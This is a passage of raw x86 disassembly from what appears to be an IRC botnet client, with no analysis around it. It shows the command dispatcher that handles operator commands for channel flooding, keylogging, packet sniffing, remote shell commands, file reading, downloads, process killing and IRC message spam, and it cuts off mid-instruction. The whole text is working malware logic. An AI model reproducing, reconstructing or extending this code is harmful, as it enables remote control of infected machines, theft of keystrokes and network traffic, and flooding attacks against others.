eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi push 10h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset byte_40BB65 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h nop call near ptr 2680EF8h jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj call near ptr 269086Bh nop push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 call near ptr 26A07AFh nop push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B93C push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B920 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B90C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 nop call near ptr 26A07AFh push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B89C push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B888 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2680EF8h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx call near ptr 2680EF8h nop push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B884 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 call near ptr 26A07AFh nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B85C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2680EF8h nop lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx nop call near ptr 2680EF8h lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2680EF8h nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7FC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2680EF8h nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EF8h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2680EF8h nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EF8h push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B784 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B61 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h call near ptr 2680EF8h nop jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j nop call near ptr 269086Bh push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h call near ptr 2680EF8h nop jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j nop call near ptr 269086Bh push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BFD push ebx push ebx nop call near ptr 2690000h imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD call near ptr 269086Bh nop push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short 